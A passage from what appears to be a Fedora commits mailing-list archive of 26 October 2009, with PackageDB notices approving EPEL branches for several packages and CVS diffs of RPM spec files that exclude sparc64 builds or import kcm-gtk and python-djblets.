 - Bump to 2.4.2 RC1



From pkgdb at fedoraproject.org  Mon Oct 26 20:19:19 2009
From: pkgdb at fedoraproject.org (Fedora PackageDB)
Date: Mon, 26 Oct 2009 20:19:19 +0000
Subject: [pkgdb] pen (Fedora EPEL, 4) updated by kevin
Message-ID: <20091026201919.3417010F880@bastion2.fedora.phx.redhat.com>

kevin added a Fedora EPEL 4 branch for pen
kevin has set commit to Approved for 107427 on pen (Fedora EPEL 4)
kevin has set checkout to Approved for 107427 on pen (Fedora EPEL 4)
kevin has set build to Approved for 107427 on pen (Fedora EPEL 4)

To make changes to this package see:
  /pkgdb/packages/name/pen



From pkgdb at fedoraproject.org  Mon Oct 26 20:19:19 2009
From: pkgdb at fedoraproject.org (Fedora PackageDB)
Date: Mon, 26 Oct 2009 20:19:19 +0000
Subject: [pkgdb] pen (Fedora EPEL, 4) updated by kevin
Message-ID: <20091026201919.541EB10F89A@bastion2.fedora.phx.redhat.com>

kevin added a Fedora EPEL 5 branch for pen
kevin has set commit to Approved for 107427 on pen (Fedora EPEL 5)
kevin has set checkout to Approved for 107427 on pen (Fedora EPEL 5)
kevin has set build to Approved for 107427 on pen (Fedora EPEL 5)

To make changes to this package see:
  /pkgdb/packages/name/pen



From pkgdb at fedoraproject.org  Mon Oct 26 20:20:17 2009
From: pkgdb at fedoraproject.org (Fedora PackageDB)
Date: Mon, 26 Oct 2009 20:20:17 +0000
Subject: [pkgdb] clucene (Fedora EPEL, 5) updated by kevin
Message-ID: <20091026202017.91DD910F87F@bastion2.fedora.phx.redhat.com>

kevin added a Fedora EPEL 5 branch for clucene
kevin has set commit to Approved for 107427 on clucene (Fedora EPEL 5)
kevin has set checkout to Approved for 107427 on clucene (Fedora EPEL 5)
kevin has set build to Approved for 107427 on clucene (Fedora EPEL 5)

To make changes to this package see:
  /pkgdb/packages/name/clucene



From pkgdb at fedoraproject.org  Mon Oct 26 20:20:39 2009
From: pkgdb at fedoraproject.org (Fedora PackageDB)
Date: Mon, 26 Oct 2009 20:20:39 +0000
Subject: [pkgdb] xiphos (Fedora EPEL, 5) updated by kevin
Message-ID: <20091026202039.3DA4A10F88B@bastion2.fedora.phx.redhat.com>

kevin added a Fedora EPEL 5 branch for xiphos
kevin has set commit to Approved for 107427 on xiphos (Fedora EPEL 5)
kevin has set checkout to Approved for 107427 on xiphos (Fedora EPEL 5)
kevin has set build to Approved for 107427 on xiphos (Fedora EPEL 5)

To make changes to this package see:
  /pkgdb/packages/name/xiphos



From pkgdb at fedoraproject.org  Mon Oct 26 20:21:19 2009
From: pkgdb at fedoraproject.org (Fedora PackageDB)
Date: Mon, 26 Oct 2009 20:21:19 +0000
Subject: [pkgdb] stomppy (Fedora EPEL, 4) updated by kevin
Message-ID: <20091026202119.BD72810F89A@bastion2.fedora.phx.redhat.com>

kevin added a Fedora EPEL 5 branch for stomppy
kevin has set commit to Approved for 107427 on stomppy (Fedora EPEL 5)
kevin has set checkout to Approved for 107427 on stomppy (Fedora EPEL 5)
kevin has set build to Approved for 107427 on stomppy (Fedora EPEL 5)

To make changes to this package see:
  /pkgdb/packages/name/stomppy



From pkgdb at fedoraproject.org  Mon Oct 26 20:21:19 2009
From: pkgdb at fedoraproject.org (Fedora PackageDB)
Date: Mon, 26 Oct 2009 20:21:19 +0000
Subject: [pkgdb] stomppy (Fedora EPEL, 4) updated by kevin
Message-ID: <20091026202119.A0B2010F880@bastion2.fedora.phx.redhat.com>

kevin added a Fedora EPEL 4 branch for stomppy
kevin has set commit to Approved for 107427 on stomppy (Fedora EPEL 4)
kevin has set checkout to Approved for 107427 on stomppy (Fedora EPEL 4)
kevin has set build to Approved for 107427 on stomppy (Fedora EPEL 4)

To make changes to this package see:
  /pkgdb/packages/name/stomppy



From pkgdb at fedoraproject.org  Mon Oct 26 20:19:48 2009
From: pkgdb at fedoraproject.org (Fedora PackageDB)
Date: Mon, 26 Oct 2009 20:19:48 +0000
Subject: [pkgdb] squidGuard (Fedora EPEL, 5) updated by kevin
Message-ID: <20091026201948.94D6810F89C@bastion2.fedora.phx.redhat.com>

kevin added a Fedora EPEL 5 branch for squidGuard
kevin has set commit to Approved for 107427 on squidGuard (Fedora EPEL 5)
kevin has set checkout to Approved for 107427 on squidGuard (Fedora EPEL 5)
kevin has set build to Approved for 107427 on squidGuard (Fedora EPEL 5)

To make changes to this package see:
  /pkgdb/packages/name/squidGuard



From ausil at fedoraproject.org  Mon Oct 26 20:22:15 2009
From: ausil at fedoraproject.org (Dennis Gilmore)
Date: Mon, 26 Oct 2009 20:22:15 +0000 (UTC)
Subject: rpms/mono-ndoc/F-12 mono-ndoc.spec,1.5,1.6
Message-ID: <20091026202215.7680A11C029D@cvs1.fedora.phx.redhat.com>

Author: ausil

Update of /cvs/pkgs/rpms/mono-ndoc/F-12
In directory cvs1.fedora.phx.redhat.com:/tmp/cvs-serv10604

Modified Files:
	mono-ndoc.spec 
Log Message:
exclude sparc64



Index: mono-ndoc.spec
===================================================================
RCS file: /cvs/pkgs/rpms/mono-ndoc/F-12/mono-ndoc.spec,v
retrieving revision 1.5
retrieving revision 1.6
diff -u -p -r1.5 -r1.6
--- mono-ndoc.spec	30 Jul 2009 21:00:58 -0000	1.5
+++ mono-ndoc.spec	26 Oct 2009 20:22:14 -0000	1.6
@@ -2,7 +2,7 @@
 
 Name:	 	mono-ndoc
 Version:	1.3.1
-Release:	6%{?dist}
+Release:	7%{?dist}
 Summary:	Code Documentation Generator for .NET
 URL:		http://ndoc.sourceforge.net/
 License:	GPLv2+
@@ -13,8 +13,8 @@ Patch0:		mono-ndoc-1.3.1-nowarn.patch
 BuildRoot:	%(mktemp -ud %{_tmppath}/%{name}-%{version}-%{release}-XXXXXX)
 BuildRequires:	mono-devel, nant
 BuildRequires:	unzip
-# No nant on ppc/ppc64
-ExcludeArch:	ppc64 ppc
+# No nant on ppc/ppc64, no mono on sparc64
+ExcludeArch:	ppc64 ppc sparc64
 
 %description
 NDoc generates class library documentation from .NET assemblies and the XML 
@@ -90,6 +90,9 @@ rm -rf -rf $RPM_BUILD_ROOT
 %{_libdir}/pkgconfig/ndoc.pc
 
 %changelog
+* Mon Oct 26 2009 Dennis Gilmore <dennis at ausil.us> - 1.3.1-7
+- ExcludeArch sparc64 no mono available
+
 * Thu Jul 30 2009 Tom "spot" Callaway <tcallawa at redhat.com> - 1.3.1-6
 - rebuild
 



From pkgdb at fedoraproject.org  Mon Oct 26 20:22:20 2009
From: pkgdb at fedoraproject.org (Fedora PackageDB)
Date: Mon, 26 Oct 2009 20:22:20 +0000
Subject: [pkgdb] python-ZSI (Fedora EPEL, 4) updated by kevin
Message-ID: <20091026202221.3299810F80E@bastion2.fedora.phx.redhat.com>

kevin added a Fedora EPEL 4 branch for python-ZSI
kevin has set commit to Approved for 107427 on python-ZSI (Fedora EPEL 4)
kevin has set checkout to Approved for 107427 on python-ZSI (Fedora EPEL 4)
kevin has set build to Approved for 107427 on python-ZSI (Fedora EPEL 4)
kevin changed owner of python-ZSI in Fedora EPEL 4 to stevetraylen
kevin approved watchbugzilla on python-ZSI (Fedora EPEL 4) for ecik
kevin approved watchcommits on python-ZSI (Fedora EPEL 4) for ecik
kevin approved watchbugzilla on python-ZSI (Fedora EPEL 4) for jbowes
kevin approved watchcommits on python-ZSI (Fedora EPEL 4) for jbowes

To make changes to this package see:
  /pkgdb/packages/name/python-ZSI



From pkgdb at fedoraproject.org  Mon Oct 26 20:22:20 2009
From: pkgdb at fedoraproject.org (Fedora PackageDB)
Date: Mon, 26 Oct 2009 20:22:20 +0000
Subject: [pkgdb] python-ZSI (Fedora EPEL, 4) updated by kevin
Message-ID: <20091026202221.5313E10F8A3@bastion2.fedora.phx.redhat.com>

kevin added a Fedora EPEL 5 branch for python-ZSI
kevin has set commit to Approved for 107427 on python-ZSI (Fedora EPEL 5)
kevin has set checkout to Approved for 107427 on python-ZSI (Fedora EPEL 5)
kevin has set build to Approved for 107427 on python-ZSI (Fedora EPEL 5)
kevin changed owner of python-ZSI in Fedora EPEL 5 to stevetraylen
kevin approved watchbugzilla on python-ZSI (Fedora EPEL 5) for ecik
kevin approved watchcommits on python-ZSI (Fedora EPEL 5) for ecik
kevin approved watchbugzilla on python-ZSI (Fedora EPEL 5) for jbowes
kevin approved watchcommits on python-ZSI (Fedora EPEL 5) for jbowes

To make changes to this package see:
  /pkgdb/packages/name/python-ZSI



From ausil at fedoraproject.org  Mon Oct 26 20:23:21 2009
From: ausil at fedoraproject.org (Dennis Gilmore)
Date: Mon, 26 Oct 2009 20:23:21 +0000 (UTC)
Subject: rpms/mono-ndoc/devel mono-ndoc.spec,1.5,1.6
Message-ID: <20091026202321.2B6AF11C0264@cvs1.fedora.phx.redhat.com>

Author: ausil

Update of /cvs/pkgs/rpms/mono-ndoc/devel
In directory cvs1.fedora.phx.redhat.com:/tmp/cvs-serv11088

Modified Files:
	mono-ndoc.spec 
Log Message:
Exclude sparc64



Index: mono-ndoc.spec
===================================================================
RCS file: /cvs/pkgs/rpms/mono-ndoc/devel/mono-ndoc.spec,v
retrieving revision 1.5
retrieving revision 1.6
diff -u -p -r1.5 -r1.6
--- mono-ndoc.spec	30 Jul 2009 21:00:58 -0000	1.5
+++ mono-ndoc.spec	26 Oct 2009 20:23:20 -0000	1.6
@@ -2,7 +2,7 @@
 
 Name:	 	mono-ndoc
 Version:	1.3.1
-Release:	6%{?dist}
+Release:	7%{?dist}
 Summary:	Code Documentation Generator for .NET
 URL:		http://ndoc.sourceforge.net/
 License:	GPLv2+
@@ -13,8 +13,8 @@ Patch0:		mono-ndoc-1.3.1-nowarn.patch
 BuildRoot:	%(mktemp -ud %{_tmppath}/%{name}-%{version}-%{release}-XXXXXX)
 BuildRequires:	mono-devel, nant
 BuildRequires:	unzip
-# No nant on ppc/ppc64
-ExcludeArch:	ppc64 ppc
+# No nant on ppc/ppc64, no mono on sparc64
+ExcludeArch:	ppc64 ppc sparc64
 
 %description
 NDoc generates class library documentation from .NET assemblies and the XML 
@@ -90,6 +90,9 @@ rm -rf -rf $RPM_BUILD_ROOT
 %{_libdir}/pkgconfig/ndoc.pc
 
 %changelog
+* Mon Oct 26 2009 Dennis Gilmore <dennis at ausil.us> - 1.3.1-7
+- ExcludeArch sparc64 no mono available
+
 * Thu Jul 30 2009 Tom "spot" Callaway <tcallawa at redhat.com> - 1.3.1-6
 - rebuild
 



From rdieter at fedoraproject.org  Mon Oct 26 20:26:27 2009
From: rdieter at fedoraproject.org (Rex Dieter)
Date: Mon, 26 Oct 2009 20:26:27 +0000 (UTC)
Subject: rpms/kcm-gtk/devel import.log, NONE,
	1.1 kcm-gtk-0.5.1-settings_category.patch, NONE,
	1.1 kcm-gtk.spec, NONE, 1.1 .cvsignore, 1.1, 1.2 sources, 1.1, 1.2
Message-ID: <20091026202627.250A111C0264@cvs1.fedora.phx.redhat.com>

Author: rdieter

Update of /cvs/pkgs/rpms/kcm-gtk/devel
In directory cvs1.fedora.phx.redhat.com:/tmp/cvs-serv14053/devel

Modified Files:
	.cvsignore sources 
Added Files:
	import.log kcm-gtk-0.5.1-settings_category.patch kcm-gtk.spec 
Log Message:
import



--- NEW FILE import.log ---
kcm-gtk-0_5_1-2_fc12:HEAD:kcm-gtk-0.5.1-2.fc12.src.rpm:1256588773

kcm-gtk-0.5.1-settings_category.patch:
 kcmgtk.desktop |    2 +-
 1 file changed, 1 insertion(+), 1 deletion(-)

--- NEW FILE kcm-gtk-0.5.1-settings_category.patch ---
diff -up kcm-gtk-0.5.1/kcmgtk.desktop.settings_category kcm-gtk-0.5.1/kcmgtk.desktop
--- kcm-gtk-0.5.1/kcmgtk.desktop.settings_category	2009-07-25 13:38:07.000000000 -0500
+++ kcm-gtk-0.5.1/kcmgtk.desktop	2009-10-22 07:47:42.528418217 -0500
@@ -21,5 +21,5 @@ Type=Service
 X-KDE-ServiceTypes=KCModule
 X-KDE-Library=kcm_gtk
 X-KDE-ParentApp=kcontrol
-Categories=Qt;KDE;X-KDE-settings-looknfeel;
+Categories=Settings;Qt;KDE;X-KDE-settings-looknfeel;
 X-KDE-System-Settings-Parent-Category=appearance


--- NEW FILE kcm-gtk.spec ---

# Fedora package review: http://bugzilla.redhat.com/530342

Summary: Configure the appearance of GTK apps in KDE 
Name:    kcm-gtk 
Version: 0.5.1 
Release: 2%{?dist}

License: GPLv2+
Group:   User Interface/Desktops
URL:     https://launchpad.net/kcm-gtk 
Source0: http://launchpad.net/kcm-gtk/trunk/0.5.1/+download/kcm-gtk_%{version}.orig.tar.gz 
BuildRoot: %{_tmppath}/%{name}-%{version}-%{release}-root-%(%{__id_u} -n) 

## upstreamable patches
# Categories += Settings, else doesn't appear in systemsettings anywhere (?)
Patch50: kcm-gtk-0.5.1-settings_category.patch

%if 0%{?fedora} > 11
Obsoletes: gtk-qt-engine <= 1:1.1
%endif

BuildRequires: kdelibs4-devel

%{?_kde4_macros_api:Requires: kde4-macros(api) = %{_kde4_macros_api} }

%description
This is a System Settings configuration module for configuring the
appearance of GTK apps in KDE.

%prep
%setup -q 

%patch50 -p1 -b .settings_category



%build

mkdir -p %{_target_platform}
pushd %{_target_platform}
%{cmake_kde4} ..
popd

make %{?_smp_mflags} -C %{_target_platform}


%install
rm -rf %{buildroot} 

make install/fast DESTDIR=%{buildroot} -C %{_target_platform}


%clean
rm -rf %{buildroot} 


%files 
%defattr(-,root,root,-)
%doc Changelog COPYING
%{_kde4_libdir}/kde4/kcm_gtk.so
%{_kde4_iconsdir}/kcm_gtk.png
%{_kde4_datadir}/kde4/services/kcmgtk.desktop


%changelog
* Thu Oct 22 2009 Rex Dieter <rdieter at fedoraproject.org> 0.5.1-2
- Requires: kde4-macros(api)...

* Thu Oct 22 2009 Rex Dieter <rdieter at fedoraproject.org> 0.5.1-1
- kcm-gtk-0.5.1 (first try)



Index: .cvsignore
===================================================================
RCS file: /cvs/pkgs/rpms/kcm-gtk/devel/.cvsignore,v
retrieving revision 1.1
retrieving revision 1.2
diff -u -p -r1.1 -r1.2
--- .cvsignore	26 Oct 2009 20:06:18 -0000	1.1
+++ .cvsignore	26 Oct 2009 20:26:25 -0000	1.2
@@ -0,0 +1 @@
+kcm-gtk_0.5.1.orig.tar.gz


Index: sources
===================================================================
RCS file: /cvs/pkgs/rpms/kcm-gtk/devel/sources,v
retrieving revision 1.1
retrieving revision 1.2
diff -u -p -r1.1 -r1.2
--- sources	26 Oct 2009 20:06:18 -0000	1.1
+++ sources	26 Oct 2009 20:26:26 -0000	1.2
@@ -0,0 +1 @@
+adc2d8dd60aa74a744a89860b903b0b0  kcm-gtk_0.5.1.orig.tar.gz



From ausil at fedoraproject.org  Mon Oct 26 20:26:39 2009
From: ausil at fedoraproject.org (Dennis Gilmore)
Date: Mon, 26 Oct 2009 20:26:39 +0000 (UTC)
Subject: rpms/gnome-do-plugins/F-12 gnome-do-plugins.spec,1.7,1.8
Message-ID: <20091026202639.A48F011C0264@cvs1.fedora.phx.redhat.com>

Author: ausil

Update of /cvs/pkgs/rpms/gnome-do-plugins/F-12
In directory cvs1.fedora.phx.redhat.com:/tmp/cvs-serv14100

Modified Files:
	gnome-do-plugins.spec 
Log Message:
Exclude ppc ppc64 sparc64



Index: gnome-do-plugins.spec
===================================================================
RCS file: /cvs/pkgs/rpms/gnome-do-plugins/F-12/gnome-do-plugins.spec,v
retrieving revision 1.7
retrieving revision 1.8
diff -u -p -r1.7 -r1.8
--- gnome-do-plugins.spec	21 Aug 2009 18:46:39 -0000	1.7
+++ gnome-do-plugins.spec	26 Oct 2009 20:26:39 -0000	1.8
@@ -2,7 +2,7 @@
 
 Name:           gnome-do-plugins
 Version:        0.8.2
-Release:        2%{?dist}
+Release:        3%{?dist}
 Summary:        Plugins for GNOME Do
 Group:          Applications/Productivity
 License:        GPLv3+
@@ -23,7 +23,7 @@ BuildRequires:  automake
 Requires:       gnome-do >= %{version}
 
 # ppc* not supported: needs monodevelop which is not built for ppc*
-ExclusiveArch:  %ix86 x86_64 ia64 armv4l sparc alpha
+ExcludeArch: ppc ppc64 sparc64
 
 %description
 GNOME Do allows you to quickly search for many objects present in your
@@ -289,6 +289,9 @@ rm -rf %{buildroot}
 %{_libdir}/gnome-do/plugins/*
 
 %changelog
+* Mon Oct 26 2009 Dennis Gilmore <dennis at ausil.us> - 0.8.2-3
+- ExcludeArch ppc ppc64 sparc64
+
 * Fri Aug 21 2009 Michel Salim <salimma at fedoraproject.org> - 0.8.2-2
 - Enable building of GData-based plugins
 - Simplify spec file



From rdieter at fedoraproject.org  Mon Oct 26 20:27:04 2009
From: rdieter at fedoraproject.org (Rex Dieter)
Date: Mon, 26 Oct 2009 20:27:04 +0000 (UTC)
Subject: rpms/kcm-gtk/F-12 kcm-gtk-0.5.1-settings_category.patch, NONE,
	1.1 kcm-gtk.spec, NONE, 1.1 .cvsignore, 1.1, 1.2 sources, 1.1, 1.2
Message-ID: <20091026202704.526CA11C0264@cvs1.fedora.phx.redhat.com>

Author: rdieter

Update of /cvs/pkgs/rpms/kcm-gtk/F-12
In directory cvs1.fedora.phx.redhat.com:/tmp/cvs-serv14528

Modified Files:
	.cvsignore sources 
Added Files:
	kcm-gtk-0.5.1-settings_category.patch kcm-gtk.spec 
Log Message:
import


kcm-gtk-0.5.1-settings_category.patch:
 kcmgtk.desktop |    2 +-
 1 file changed, 1 insertion(+), 1 deletion(-)

--- NEW FILE kcm-gtk-0.5.1-settings_category.patch ---
diff -up kcm-gtk-0.5.1/kcmgtk.desktop.settings_category kcm-gtk-0.5.1/kcmgtk.desktop
--- kcm-gtk-0.5.1/kcmgtk.desktop.settings_category	2009-07-25 13:38:07.000000000 -0500
+++ kcm-gtk-0.5.1/kcmgtk.desktop	2009-10-22 07:47:42.528418217 -0500
@@ -21,5 +21,5 @@ Type=Service
 X-KDE-ServiceTypes=KCModule
 X-KDE-Library=kcm_gtk
 X-KDE-ParentApp=kcontrol
-Categories=Qt;KDE;X-KDE-settings-looknfeel;
+Categories=Settings;Qt;KDE;X-KDE-settings-looknfeel;
 X-KDE-System-Settings-Parent-Category=appearance


--- NEW FILE kcm-gtk.spec ---

# Fedora package review: http://bugzilla.redhat.com/530342

Summary: Configure the appearance of GTK apps in KDE 
Name:    kcm-gtk 
Version: 0.5.1 
Release: 2%{?dist}

License: GPLv2+
Group:   User Interface/Desktops
URL:     https://launchpad.net/kcm-gtk 
Source0: http://launchpad.net/kcm-gtk/trunk/0.5.1/+download/kcm-gtk_%{version}.orig.tar.gz 
BuildRoot: %{_tmppath}/%{name}-%{version}-%{release}-root-%(%{__id_u} -n) 

## upstreamable patches
# Categories += Settings, else doesn't appear in systemsettings anywhere (?)
Patch50: kcm-gtk-0.5.1-settings_category.patch

%if 0%{?fedora} > 11
Obsoletes: gtk-qt-engine <= 1:1.1
%endif

BuildRequires: kdelibs4-devel

%{?_kde4_macros_api:Requires: kde4-macros(api) = %{_kde4_macros_api} }

%description
This is a System Settings configuration module for configuring the
appearance of GTK apps in KDE.

%prep
%setup -q 

%patch50 -p1 -b .settings_category



%build

mkdir -p %{_target_platform}
pushd %{_target_platform}
%{cmake_kde4} ..
popd

make %{?_smp_mflags} -C %{_target_platform}


%install
rm -rf %{buildroot} 

make install/fast DESTDIR=%{buildroot} -C %{_target_platform}


%clean
rm -rf %{buildroot} 


%files 
%defattr(-,root,root,-)
%doc Changelog COPYING
%{_kde4_libdir}/kde4/kcm_gtk.so
%{_kde4_iconsdir}/kcm_gtk.png
%{_kde4_datadir}/kde4/services/kcmgtk.desktop


%changelog
* Thu Oct 22 2009 Rex Dieter <rdieter at fedoraproject.org> 0.5.1-2
- Requires: kde4-macros(api)...

* Thu Oct 22 2009 Rex Dieter <rdieter at fedoraproject.org> 0.5.1-1
- kcm-gtk-0.5.1 (first try)



Index: .cvsignore
===================================================================
RCS file: /cvs/pkgs/rpms/kcm-gtk/F-12/.cvsignore,v
retrieving revision 1.1
retrieving revision 1.2
diff -u -p -r1.1 -r1.2
--- .cvsignore	26 Oct 2009 20:06:18 -0000	1.1
+++ .cvsignore	26 Oct 2009 20:27:03 -0000	1.2
@@ -0,0 +1 @@
+kcm-gtk_0.5.1.orig.tar.gz


Index: sources
===================================================================
RCS file: /cvs/pkgs/rpms/kcm-gtk/F-12/sources,v
retrieving revision 1.1
retrieving revision 1.2
diff -u -p -r1.1 -r1.2
--- sources	26 Oct 2009 20:06:18 -0000	1.1
+++ sources	26 Oct 2009 20:27:04 -0000	1.2
@@ -0,0 +1 @@
+adc2d8dd60aa74a744a89860b903b0b0  kcm-gtk_0.5.1.orig.tar.gz



From ausil at fedoraproject.org  Mon Oct 26 20:28:11 2009
From: ausil at fedoraproject.org (Dennis Gilmore)
Date: Mon, 26 Oct 2009 20:28:11 +0000 (UTC)
Subject: rpms/gnome-do-plugins/devel gnome-do-plugins.spec,1.7,1.8
Message-ID: <20091026202811.7DEF911C0264@cvs1.fedora.phx.redhat.com>

Author: ausil

Update of /cvs/pkgs/rpms/gnome-do-plugins/devel
In directory cvs1.fedora.phx.redhat.com:/tmp/cvs-serv14669

Modified Files:
	gnome-do-plugins.spec 
Log Message:
exclude ppc ppc64 sparc64



Index: gnome-do-plugins.spec
===================================================================
RCS file: /cvs/pkgs/rpms/gnome-do-plugins/devel/gnome-do-plugins.spec,v
retrieving revision 1.7
retrieving revision 1.8
diff -u -p -r1.7 -r1.8
--- gnome-do-plugins.spec	21 Aug 2009 18:46:39 -0000	1.7
+++ gnome-do-plugins.spec	26 Oct 2009 20:28:11 -0000	1.8
@@ -2,7 +2,7 @@
 
 Name:           gnome-do-plugins
 Version:        0.8.2
-Release:        2%{?dist}
+Release:        3%{?dist}
 Summary:        Plugins for GNOME Do
 Group:          Applications/Productivity
 License:        GPLv3+
@@ -23,7 +23,7 @@ BuildRequires:  automake
 Requires:       gnome-do >= %{version}
 
 # ppc* not supported: needs monodevelop which is not built for ppc*
-ExclusiveArch:  %ix86 x86_64 ia64 armv4l sparc alpha
+ExcludeArch: ppc ppc64 sparc64
 
 %description
 GNOME Do allows you to quickly search for many objects present in your
@@ -289,6 +289,9 @@ rm -rf %{buildroot}
 %{_libdir}/gnome-do/plugins/*
 
 %changelog
+* Mon Oct 26 2009 Dennis Gilmore <dennis at ausil.us> - 0.8.2-3
+- ExcludeArch ppc ppc64 sparc64
+
 * Fri Aug 21 2009 Michel Salim <salimma at fedoraproject.org> - 0.8.2-2
 - Enable building of GData-based plugins
 - Simplify spec file



From dyoung at fedoraproject.org  Mon Oct 26 20:29:39 2009
From: dyoung at fedoraproject.org (Daniel M. Young)
Date: Mon, 26 Oct 2009 20:29:39 +0000 (UTC)
Subject: rpms/python-djblets/devel import.log, NONE, 1.1 python-djblets.spec,
	NONE, 1.1 .cvsignore, 1.1, 1.2 sources, 1.1, 1.2
Message-ID: <20091026202939.160AA11C0264@cvs1.fedora.phx.redhat.com>

Author: dyoung

Update of /cvs/pkgs/rpms/python-djblets/devel
In directory cvs1.fedora.phx.redhat.com:/tmp/cvs-serv13440/devel

Modified Files:
	.cvsignore sources 
Added Files:
	import.log python-djblets.spec 
Log Message:
Initial import of python-djblets.



--- NEW FILE import.log ---
python-djblets-0_5-0_3_rc1_fc11:HEAD:python-djblets-0.5-0.3.rc1.fc11.src.rpm:1256588726


--- NEW FILE python-djblets.spec ---
%{!?python_sitelib: %define python_sitelib %(%{__python} -c "from distutils.sysconfig import get_python_lib; print get_python_lib()")}

# This is a pre-release of 0.5, so we follow the pre-release
# naming here: 
#  https://fedoraproject.org/wiki/Packaging:NamingGuidelines#Pre-Release_packages
# to try to preserve the upgrade path
%define alphatag rc1

Name:           python-djblets
Version:        0.5
Release:        0.3.%{alphatag}%{?dist}
Summary:        A collection of useful classes and functions for Django
Group:          Applications/Internet
# Djblets is MIT licensed:
# http://code.google.com/p/reviewboard/wiki/Djblets
# Jquery is bundled in Djblets. Jquery is dual-licensed MIT or GPLv2, hence
# the package license is "MIT and (MIT or GPLv2)":
# https://www.redhat.com/archives/fedora-legal-list/2009-May/msg00025.html
License:        MIT and (MIT or GPLv2)
URL:            http://www.review-board.org
Source0:        http://downloads.review-board.org/releases/Djblets-%{version}%{alphatag}.tar.gz
BuildRoot:      %{_tmppath}/%{name}-%{version}-%{release}-root-%(%{__id_u} -n)
BuildArch:      noarch
BuildRequires:  python
BuildRequires:  python-devel
BuildRequires:  python-setuptools
Requires:       Django >= 1.0.2
Requires:       python-imaging

%description
A collection of useful classes and functions for Django

%prep
%setup -q -n Djblets-%{version}%{alphatag}
sed -i 's/^from ez_setup/#from ez_setup/' setup.py
sed -i 's/^use_setuptools()/#use_setuptools()/' setup.py
%build
%{__python} setup.py build

%install
rm -rf $RPM_BUILD_ROOT

%{__python} setup.py install --root $RPM_BUILD_ROOT

# feedparser.py has a shebang, and has a runnable __main__; make it executable:
chmod +x $RPM_BUILD_ROOT%{python_sitelib}/djblets/feedview/feedparser.py

# Remove the "tests" subdirectory to avoid it polluting the main python
# namespace:
rm -rf $RPM_BUILD_ROOT%{python_sitelib}/tests

%clean
rm -rf $RPM_BUILD_ROOT

%files
%defattr(-,root,root,-)
%doc NEWS AUTHORS
%{python_sitelib}/*

%changelog
* Fri Oct 23 2009 Dan Young <dyoung at mesd.k12.or.us> - 0.5-0.3.rc1
- Fix License tag

* Wed May 13 2009 Dan Young <dyoung at mesd.k12.or.us> - 0.5-0.2.rc1
- BuildRequires: python and python-setuptools

* Thu May  7 2009 David Malcolm <dmalcolm at redhat.com> - 0.5-0.1.rc1
- bump to upstream 0.5rc1
- add NEWS and AUTHORS files as documentation

* Thu May  7 2009 David Malcolm <dmalcolm at redhat.com> - 0.5-0.1.alpha3
- rename from Djblets to python-djblets
- update version/release to try to preserve update path (prerelease issues)
- fix mixed tabs/spaces in specfile (use spaces throughout)
- remove tests subdirectory
- make feedparser.py executable

* Sat Feb  21 2009 Ramez Hanna <rhanna at informatiq.org> 
- First build.


Index: .cvsignore
===================================================================
RCS file: /cvs/pkgs/rpms/python-djblets/devel/.cvsignore,v
retrieving revision 1.1
retrieving revision 1.2
diff -u -p -r1.1 -r1.2
--- .cvsignore	26 Oct 2009 20:18:39 -0000	1.1
+++ .cvsignore	26 Oct 2009 20:29:38 -0000	1.2
@@ -0,0 +1 @@
+Djblets-0.5rc1.tar.gz


Index: sources
===================================================================
RCS file: /cvs/pkgs/rpms/python-djblets/devel/sources,v
retrieving revision 1.1
retrieving revision 1.2
diff -u -p -r1.1 -r1.2
--- sources	26 Oct 2009 20:18:39 -0000	1.1
+++ sources	26 Oct 2009 20:29:38 -0000	1.2
@@ -0,0 +1 @@
+10b611756e1cbe03bfe35ab13b19638b  Djblets-0.5rc1.tar.gz



From ausil at fedoraproject.org  Mon Oct 26 20:32:06 2009
From: ausil at fedoraproject.org (Dennis Gilmore)
Date: Mon, 26 Oct 2009 20:32:06 +0000 (UTC)
Subject: rpms/clutter-sharp/F-12 clutter-sharp.spec,1.3,1.4
Message-ID: <20091026203206.ED07611C0264@cvs1.fedora.phx.redhat.com>

Author: ausil

Update of /cvs/pkgs/rpms/clutter-sharp/F-12
In directory cvs1.fedora.phx.redhat.com:/tmp/cvs-serv16127

Modified Files:
	clutter-sharp.spec 
Log Message:
Exclude sparc64



Index: clutter-sharp.spec
===================================================================
RCS file: /cvs/pkgs/rpms/clutter-sharp/F-12/clutter-sharp.spec,v
retrieving revision 1.3
retrieving revision 1.4
diff -u -p -r1.3 -r1.4
--- clutter-sharp.spec	25 Sep 2009 15:16:47 -0000	1.3
+++ clutter-sharp.spec	26 Oct 2009 20:32:06 -0000	1.4
@@ -5,7 +5,7 @@
 Summary: C#/.NET bindings to Clutter
 Name: clutter-sharp
 Version: 0
-Release: 0.5.%{gitdate}%{?dist}
+Release: 0.6.%{gitdate}%{?dist}
 URL: http://www.clutter-project.org
 Source0: %{name}-%{gitdate}.tar.bz2
 # based on libdrm's make-git-snapshot.sh 
@@ -27,6 +27,7 @@ Requires: clutter
 # clutter-gtk support, since it requires version >= 0.10.3
 #BuildRequires: clutter-gtk-devel 
 #Requires: clutter-gtk
+ExcludeArch: sparc64
 
 %description
 Clutter-sharp offers C#/.NET bindings to Clutter
@@ -74,6 +75,9 @@ rm -rf %{buildroot}
 %{_libdir}/monodoc/sources/*
 
 %changelog
+* Mon Oct 26 2009 Dennis Gilmore <dennis at ausil.us> - 0-0.6.20090828
+- ExcludeArch sparc64
+
 * Fri Sep 25 2009 Christian Krause <chkr at fedoraproject.org> - 0-0.5.20090828
 - Fix some spelling mistakes
 - Correct email address



From ausil at fedoraproject.org  Mon Oct 26 20:32:52 2009
From: ausil at fedoraproject.org (Dennis Gilmore)
Date: Mon, 26 Oct 2009 20:32:52 +0000 (UTC)
Subject: rpms/clutter-sharp/devel clutter-sharp.spec,1.3,1.4
Message-ID: <20091026203252.9CAB511C0264@cvs1.fedora.phx.redhat.com>

Author: ausil

Update of /cvs/pkgs/rpms/clutter-sharp/devel
In directory cvs1.fedora.phx.redhat.com:/tmp/cvs-serv16321

Modified Files:
	clutter-sharp.spec 
Log Message:
Exclude sparc64



Index: clutter-sharp.spec
===================================================================
RCS file: /cvs/pkgs/rpms/clutter-sharp/devel/clutter-sharp.spec,v
retrieving revision 1.3
retrieving revision 1.4
diff -u -p -r1.3 -r1.4
--- clutter-sharp.spec	25 Sep 2009 15:16:47 -0000	1.3
+++ clutter-sharp.spec	26 Oct 2009 20:32:52 -0000	1.4
@@ -5,7 +5,7 @@
 Summary: C#/.NET bindings to Clutter
 Name: clutter-sharp
 Version: 0
-Release: 0.5.%{gitdate}%{?dist}
+Release: 0.6.%{gitdate}%{?dist}
 URL: http://www.clutter-project.org
 Source0: %{name}-%{gitdate}.tar.bz2
